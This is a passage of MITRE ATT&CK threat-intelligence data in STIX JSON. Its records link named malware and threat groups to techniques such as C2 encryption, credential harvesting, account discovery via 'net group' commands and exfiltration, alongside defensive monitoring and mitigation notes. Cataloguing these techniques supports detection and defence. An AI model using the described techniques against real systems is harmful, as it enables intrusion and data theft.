"revoked": false, "description": "[Bisonal](https://attack.mitre.org/software/S0268) can check to determine if the compromised system is running on VMware.(Citation: Talos Bisonal Mar 2020)", "modified": "2022-04-18T17:14:41.599Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--20e1f501-0932-40d2-a41b-386a8b9d463d", "created": "2023-09-12T19:47:12.770Z", "revoked": false, "external_references": [{"source_name": "Proofpoint TA2541 February 2022", "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.", "url": "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T19:47:12.770Z", "description": "[TA2541](https://attack.mitre.org/groups/G1018) has used dynamic DNS services for C2 infrastructure.(Citation: Proofpoint TA2541 February 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20eb2a85-e9f0-41cc-a26a-d66989c476f8", "type": "relationship", "created": "2021-10-11T15:50:26.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-10-11T15:50:26.281Z", "description": "[SodaMaster](https://attack.mitre.org/software/S0627) can use a hardcoded RSA key to encrypt some of its C2 traffic.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20f422e8-6244-46e3-8842-f5dc3e37568c", "type": "relationship", "created": "2019-09-24T13:29:29.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:01.609Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) can collect the local hostname, operating system details, CPU speed, and total physical memory.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--20f43b8b-55c7-4710-8813-6512c3b11c1a", "created": "2023-03-31T19:40:01.468Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason Royal December 2022", "description": "Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.", "url": "https://www.cybereason.com/blog/royal-ransomware-analysis"}, {"source_name": "Trend Micro Royal Linux ESXi February 2023", "description": "Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-31T20:06:16.156Z", "description": " [Royal](https://attack.mitre.org/software/S1073) can use `GetNativeSystemInfo` and `GetLogicalDrives` to enumerate system processors and logical drives.(Citation: Cybereason Royal December 2022)(Citation: Trend Micro Royal Linux ESXi February 2023)", "relationship_type": "uses", "source_ref": "malware--802a874d-7463-4f2a-99e3-6a1f5a919a21", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe", "type": "relationship", "created": "2017-05-31T21:33:27.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant Operation Ke3chang November 2014", "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}], "modified": "2021-11-01T21:12:14.711Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs account discovery using commands such as <code>net localgroup administrators</code> and <code>net group \"REDACTED\" /domain</code> on specific permissions groups.(Citation: Mandiant Operation Ke3chang November 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2105f57c-a6f5-4f9e-b040-705c58396fc2", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor for newly constructed files that may establish persistence through executing malicious commands triggered by a user\u2019s shell. For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the <code>/etc/shells</code> file.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2107aab0-0191-46d1-abec-8d98ac916c21", "type": "relationship", "created": "2020-06-19T20:41:21.297Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-06-19T20:41:21.297Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has modified /etc/ld.so.preload to hook libc functions in order to hide the installed dropper and mining software in process lists.(Citation: Anomali Rocke March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--210b5693-f039-4853-a0ea-70b4fa3abed9", "type": "relationship", "created": "2021-10-15T19:52:14.506Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. 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Retrieved November 13, 2020."}], "modified": "2020-11-13T21:33:02.252Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can download its second stage from a hardcoded URL within the loader's code.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--21382ce2-a504-4adf-81d2-dc1306285553", "created": "2021-12-06T16:16:03.969Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "CISA AA20-296A Berserk Bear December 2020", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions", "description": "CISA. (2020, December 1). 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Retrieved June 6, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has used a batch script to gather folder and file names from victim hosts.(Citation: US-CERT TA18-074A)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)", "modified": "2022-04-06T12:33:48.916Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--213916b1-76e8-4ebf-af96-fdd0f4a18e2b", "created": "2022-03-30T14:26:51.838Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SanDisk SMART", "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."}, {"source_name": "SmartMontools", "url": "https://www.smartmontools.org/", "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for API calls associated with the use of device drivers and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. 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Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can send collected victim data to its C2 server.(Citation: Check Point Warzone Feb 2020)", "modified": "2022-04-07T17:45:30.991Z", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21409e96-7a2f-4109-b23e-1b43005aaaa4", "type": "relationship", "created": "2021-08-18T19:35:07.010Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Maze March 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", "description": "Mundo, A. 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(2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}], "modified": "2022-03-09T18:44:33.813Z", "description": "Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code> to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>. Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.  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Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has exfiltrated stolen files and data to actor-controlled Blogspot accounts.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T15:19:25.437Z", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21537040-e89a-4908-95c2-2c5d905bcc2f", "type": "relationship", "created": "2019-05-02T01:07:37.006Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}], "modified": "2019-06-12T20:05:18.351Z", "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for credential harvesting.(Citation: Cylance Shaheen Nov 2018)", "relationship_type": "uses", "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2155f707-de4f-4ef1-9982-1af90392af5f", "type": "relationship", "created": "2019-05-02T00:08:18.505Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "source_name": "Cylance Shaheen Nov 2018"}], "modified": "2019-06-12T19:55:22.014Z", "description": "[The White Company](https://attack.mitre.org/groups/G0089) has obfuscated their payloads through packing.(Citation: Cylance Shaheen Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--215c28bd-3698-4962-b8a9-c632f27c9c82", "type": "relationship", "created": "2020-06-10T20:19:59.901Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.656Z", "description": "[down_new](https://attack.mitre.org/software/S0472) has the ability to base64 encode C2 communications.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--8be7c69e-d8e3-4970-9668-61de08e508cc", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2160c4c2-9828-418e-ab5f-faec0593ea9d", "created": "2022-03-30T14:26:51.838Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.", "modified": "2022-04-14T20:10:07.714Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", "target_ref": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2161578b-44ef-4c44-90ad-2ee8920a3db8", "type": "relationship", "created": "2021-10-01T21:53:33.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:01.153Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can download additional files onto the host.(Citation: Volexity InkySquid BLUELIGHT August 2021) ", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21674a10-7168-420e-b916-2979a3ee3b5e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Github Koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. 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(2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", "source_name": "US-CERT FALLCHILL Nov 2017"}], "modified": "2019-09-09T19:15:45.649Z", "description": "(Citation: US-CERT FALLCHILL Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--216e5287-2cea-4bd0-b109-24b205f848b3", "type": "relationship", "created": "2020-12-12T17:25:29.540Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelLabs Agent Tesla Aug 2020", "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}], "modified": "2020-12-16T16:15:43.313Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has exploited Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570 for execution during delivery.(Citation: SentinelLabs Agent Tesla Aug 2020) ", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21711eb2-eddd-40f5-8c20-dc50495c102d", "type": "relationship", "created": "2020-05-06T15:26:38.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert PLEAD Downloader June 2018", "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", "description": "Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."}], "modified": "2020-05-06T15:26:38.849Z", "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to execute shell commands on the compromised host.(Citation: JPCert PLEAD Downloader June 2018)", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21717b6b-1fc6-4619-9877-bb36237a8efd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Villeneuve 2011", "description": "Villeneuve, N., Sancho, D. (2011). THE \u201cLURID\u201d DOWNLOADER. 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(2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. 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(2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}, {"source_name": "CISA ComRAT Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}], "modified": "2020-12-11T20:25:41.108Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) can use SSL/TLS encryption for its HTTP-based C2 channel. [ComRAT](https://attack.mitre.org/software/S0126) has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21859ef1-0c9f-4dc5-a4d8-0613d3636c83", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}, {"source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--218617ce-6474-4fd4-920e-88207c5aa219", "type": "relationship", "created": "2020-12-30T16:39:34.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Egregor Nov 2020", "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."}], "modified": "2020-12-30T16:39:34.497Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) has used rundll32 during execution.(Citation: Cybereason Egregor Nov 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2188382d-d557-4a81-9713-7ef4cc675e76", "type": "relationship", "created": "2019-07-08T15:24:24.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Waterbug Jun 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}], "modified": "2020-11-23T17:29:47.267Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has gathered credentials from the Windows Credential Manager tool.(Citation: Symantec Waterbug Jun 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--218a923b-2909-4186-8cf7-8fbfed6f2aaf", "type": "relationship", "created": "2021-04-12T19:26:30.533Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike MUSTANG PANDA June 2018", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."}, {"source_name": "McAfee Dianxun March 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", "description": "Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021."}, {"source_name": "Proofpoint TA416 Europe March 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}], "modified": "2022-03-16T18:47:23.217Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has sent malicious links including links directing victims to a Google Drive folder.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: McAfee Dianxun March 2021)(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": 